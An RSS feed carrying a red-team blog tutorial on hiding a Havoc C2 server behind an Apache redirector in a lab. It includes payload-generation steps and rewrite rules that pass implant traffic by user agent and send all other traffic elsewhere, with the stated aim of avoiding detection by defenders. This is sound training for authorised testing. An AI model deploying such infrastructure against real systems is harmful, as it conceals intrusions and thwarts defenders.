<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Havoc &#8211; HUMBLE TESTER</title>
	<atom:link href="https://humbletester.com/tag/havoc/feed/" rel="self" type="application/rss+xml" />
	<link>https://humbletester.com</link>
	<description></description>
	<lastBuildDate>Sun, 04 Feb 2024 16:04:42 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://humbletester.com/wp-content/uploads/2023/05/cropped-mayan-32x32.png</url>
	<title>Havoc &#8211; HUMBLE TESTER</title>
	<link>https://humbletester.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Redirector setup with Havoc C2</title>
		<link>https://humbletester.com/redirector-havoc-c2/</link>
					<comments>https://humbletester.com/redirector-havoc-c2/#respond</comments>
		
		<dc:creator><![CDATA[Vel M]]></dc:creator>
		<pubDate>Sun, 04 Feb 2024 00:00:40 +0000</pubDate>
				<category><![CDATA[Red Team]]></category>
		<category><![CDATA[C2]]></category>
		<category><![CDATA[Havoc]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[redirectors]]></category>
		<guid isPermaLink="false">https://humbletester.com/?p=845</guid>

					<description><![CDATA[Introduction In this blog post, we will discuss about redirectors and how to setup one with Havoc C2. I recently started to deep dive on red team concepts and this post is based on my learning. On an red team engagement, It is important that our C2 infrastructure must be Hidden from the world Allows [&#8230;]]]></description>
										<content:encoded><![CDATA[<h1>Introduction</h1>
<p>In this blog post, we will discuss about redirectors and how to setup one with Havoc C2. I recently started to deep dive on red team concepts and this post is based on my learning. On an red team engagement, It is important that our C2 infrastructure must be</p>
<ul>
<li>Hidden from the world</li>
<li>Allows only the C2 traffic</li>
<li>Traffic between C2 and the remote systems looks realistic</li>
</ul>
<p>so that, It is difficult to be detected by the defenders and terminate our connection. Redirectors help in improving our chances to remain hidden.</p>
<p>Redirector is nothing but an reverse proxy which forwards the traffic to and from C2 server &amp; the target system<br />
<img decoding="async" src="https://humbletester.com/wp-content/uploads/2023/05/Reidrector-1024x673.png" alt="" /></p>
<h1>Setup</h1>
<p>Below are the components of this setup.</p>
<ul>
<li>C2 Server - kali VM (10.0.2.15)</li>
<li>Redirector - Debian VM (10.0.2.6)</li>
<li>Target - Windows 10 (10.0.2.4)</li>
</ul>
<p>For demonstration purpose, We are having all the components on the same network. On real engagements, Redirector will be exposed to internet. C2 server will be internal and allowed to send and receive traffic only to the redirector.</p>
<h1>Configuring Havoc C2</h1>
<h3>Creating Listener</h3>
<p>Create a HTTPS listener with below configuration which send or accept traffic from the redirector.</p>
<ul>
<li>Select payload as <code>https</code></li>
<li>Add your redirector server IP to Hosts. In our case, <code>10.0.2.6</code> is added</li>
<li>Host (Bind) must be <code>0.0.0.0</code></li>
<li>PortBind is <code>443</code></li>
<li>PortConn is <code>443</code></li>
</ul>
<p>Next few options are important ones, This will act as the identifier for the redirector to determine if the traffic is C2 or general. We'll understand more about it when we configure our redirector. In our current setup we will add user agent.</p>
<ul>
<li>User Agent: <code>NotHavoc</code></li>
</ul>
<p>Any C2 HTTPS traffic from the C2 server and from the implant on target machine, will have the User Agent set as <code>Not Havoc</code>. </p>
<ul>
<li>Save the listener</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2023/05/listener-1.png" alt="" /></p>
<h3>Generating Payload</h3>
<p>It's time to generate our Demon payload using our listener created.</p>
<ul>
<li>Under Attack, Select Payload</li>
<li>Select the listener created on the previous step</li>
<li>Select the architecture as per your target machine and the format as exe</li>
<li>Leave all the other configurations as default and generate the payload</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/02/65bf687937dec.png" alt="file" /></p>
<h1>Configuring Redirector</h1>
<p>Ubuntu VM (10.0.2.6) is our redirector server. Follow below steps to configure it.</p>
<ul>
<li>Install Apache
<pre><code class="language-bash">sudo apt update
sudo apt install apache2</code></pre>
</li>
<li>Once apache2 is installed, Enable the modules required using below command
<pre><code class="language-bash">sudo a2enmod proxy &amp;&amp; sudo a2enmod proxy_http &amp;&amp; sudo a2enmod proxy_ajp 
&amp;&amp; sudo a2enmod rewrite &amp;&amp; sudo a2enmod deflate&amp;&amp;sudo a2enmod headers 
&amp;&amp; sudo a2enmod proxy_balancer &amp;&amp; sudo a2enmod proxy_connect &amp;&amp; sudo a2enmod proxy_html</code></pre>
</li>
<li>Create SSL certificates for our redirector website
<pre><code class="language-bash">openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out public.crt -keyout private.key</code></pre>
</li>
<li>Lets open the port 443 on the server and enable required options on the default configuration file <code>/etc/apache2/sites-available/000-default.conf</code>
<pre><code class="language-bash">&lt;VirtualHost *:443&gt;
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
    SSLEngine on
    SSLProxyEngine on
    SSLProxyVerify none
    SSLProxyCheckPeerCN off
    SSLProxyCheckPeerName off
    SSLCertificateFile /etc/ssl/certs/public.crt
    SSLCertificateKeyFile /etc/ssl/certs/private.key
&lt;/VirtualHost&gt;</code></pre>
<ul>
<li>Modify the <code>SSLCertificate</code>, <code>DocumentRoot</code> and <code>SSLCertificateKeyFile</code> path as required</li>
</ul>
</li>
<li>Now that the website is enabled, We need to make necessary changes to redirect C2 and Non-C2 traffic appropriately</li>
<li>Create <code>.htaccess</code> file on the location as <code>DocumentRoot</code></li>
<li>Add below config on the .htaccess file
<pre><code class="language-bash">RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} &quot;NotHavoc&quot; [NC]
RewriteRule ^.*$ &quot;https://[C2 TeamServer IP]:443%{REQUEST_URI}&quot; [P]
RewriteRule ^.*$ &quot;https://www.google.com&quot; [L,R=302]</code></pre>
<ul>
<li>When the UserAgent on the request is &quot;NotHavoc&quot;. It will redirect the traffic to C2.</li>
<li>On all other cases, It will redirect to <code>https://www.google.com</code>. This will prevent any non-C2 traffic reaching our C2 server.</li>
<li>Note: In this demo, We used useragent as identfier, But there are many other ways using Uris &amp; Headers that we can specify to identify the C2 traffic.</li>
</ul>
</li>
<li>Add below lines on <code>/etc/apache2/apache2.conf</code> to have necessary access to our root directory
<pre><code class="language-bash">&lt;Directory /var/www/html&gt;
AllowOverride ALL
Require all granted
&lt;/Directory&gt;</code></pre>
</li>
<li>Restart apache2 service <code>sudo systemctl restart apache2</code></li>
</ul>
<p>Now that our C2 and Redirector Server configuration is complete. Its time to test our setup.</p>
<h1>Testing</h1>
<ul>
<li>Transfer the demon implant to the target Windows server (10.0.2.4)</li>
<li>Executing the implant will get an connection back on our C2 server</li>
<li>Let's analyse the traffic using Wireshark on the windows machine and the Kali machine</li>
</ul>
<h3>Windows machine (10.0.2.4)</h3>
<ul>
<li>We can see the traffic is between 10.0.2.4 &amp; our redirector 10.0.2.6 and no instance of direct connection to our C2 server</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/02/65bf73f505be6.png" alt="file" /></p>
<h3>Kali C2 Server (10.0.2.15)</h3>
<ul>
<li>Notice the HTTPS C2 traffic is flowing only through the redirector (10.0.2.6)</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/02/65bf74eab12b1.png" alt="file" /></p>
<h1>Conclusion</h1>
<p>This is a basic demo of setting up a redirector with Havoc C2. We can improve this by adding multiple redirector servers where the traffic will be routed through a random server. Also the UserAgent identifier &quot;NotHavoc&quot; used here is simple. We can utilize Uris and Header configurations to make it resemble traffic from a legitimate application.</p>
<p>Please feel free to connect with me on linkedin for any sugesstions/improvements. I also write on <a href="https://hn.humbletester.com/redirector-setup-with-havoc-c2" title="hashnode">hashnode</a></p>
]]></content:encoded>
					
					<wfw:commentRss>https://humbletester.com/redirector-havoc-c2/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
